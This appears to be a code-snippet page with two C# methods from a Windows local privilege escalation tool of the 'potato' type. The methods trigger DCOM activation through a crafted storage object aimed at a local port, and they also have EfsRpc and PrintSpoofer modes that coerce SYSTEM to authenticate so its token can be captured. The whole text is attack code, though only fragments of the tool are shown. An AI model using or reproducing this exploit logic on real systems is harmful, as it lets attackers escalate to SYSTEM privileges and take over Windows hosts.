示例#1
0
        public bool TriggerDCOM()
        {
            int result = 0;

            try {
                if (!fakeWinRM)
                {
                    result = Ole32.CreateILockBytesOnHGlobal(IntPtr.Zero, true, out ILockBytes lockBytes);
                    result = Ole32.StgCreateDocfileOnILockBytes(lockBytes, Ole32.STGM.CREATE | Ole32.STGM.READWRITE | Ole32.STGM.SHARE_EXCLUSIVE, 0, out IStorage storage);
                    StorageTrigger storageTrigger = new StorageTrigger(storage, string.Format("127.0.0.1[{0}]", port), TowerProtocol.EPM_PROTOCOL_TCP);

                    Ole32.MULTI_QI[] qis = new Ole32.MULTI_QI[1];
                    qis[0].pIID = Ole32.IID_IUnknownPtr;

                    result = Ole32.CoGetInstanceFromIStorage(null, ref clsId, null, Ole32.CLSCTX.CLSCTX_LOCAL_SERVER, storageTrigger, 1, qis);
                }
                else
                {
                    Type comType  = Type.GetTypeFromCLSID(clsId);
                    var  instance = Activator.CreateInstance(comType);
                }
            } catch (Exception e) {
                if (!negotiator.Authenticated)
                {
                    Console.Write(String.Format("{0}\n", e.Message));
                }
            }

            dcomComplete = true;
            return(negotiator.Authenticated);
        }
示例#2
0
        public bool Trigger()
        {
            bool result = false;

            try {
                switch (mode)
                {
                case Mode.DCOM:

                    Ole32.CreateILockBytesOnHGlobal(IntPtr.Zero, true, out ILockBytes lockBytes);
                    Ole32.StgCreateDocfileOnILockBytes(lockBytes, Ole32.STGM.CREATE | Ole32.STGM.READWRITE | Ole32.STGM.SHARE_EXCLUSIVE, 0, out IStorage storage);
                    StorageTrigger storageTrigger = new StorageTrigger(storage, string.Format("127.0.0.1[{0}]", port), TowerProtocol.EPM_PROTOCOL_TCP);

                    Ole32.MULTI_QI[] qis = new Ole32.MULTI_QI[1];
                    qis[0].pIID = Ole32.IID_IUnknownPtr;

                    Ole32.CoGetInstanceFromIStorage(null, ref clsId, null, Ole32.CLSCTX.CLSCTX_LOCAL_SERVER, storageTrigger, 1, qis);
                    result = negotiator.Authenticated;
                    break;

                case Mode.WinRM:

                    Type comType  = Type.GetTypeFromCLSID(clsId);
                    var  instance = Activator.CreateInstance(comType);
                    result = negotiator.Authenticated;
                    break;

                case Mode.EfsRpc:

                    efsRpc.TriggerEfsRpc();
                    if (efsRpc.Token != IntPtr.Zero)
                    {
                        result = true;
                    }
                    break;

                case Mode.PrintSpoofer:

                    printSpoofer.TriggerPrintSpoofer();
                    if (printSpoofer.Token != IntPtr.Zero)
                    {
                        result = true;
                    }
                    break;
                }
            } catch (Exception e) {
                if (!negotiator.Authenticated)
                {
                    Console.Write(String.Format("{0}\n", e.Message));
                }
            }

            dcomComplete = true;
            return(result);
        }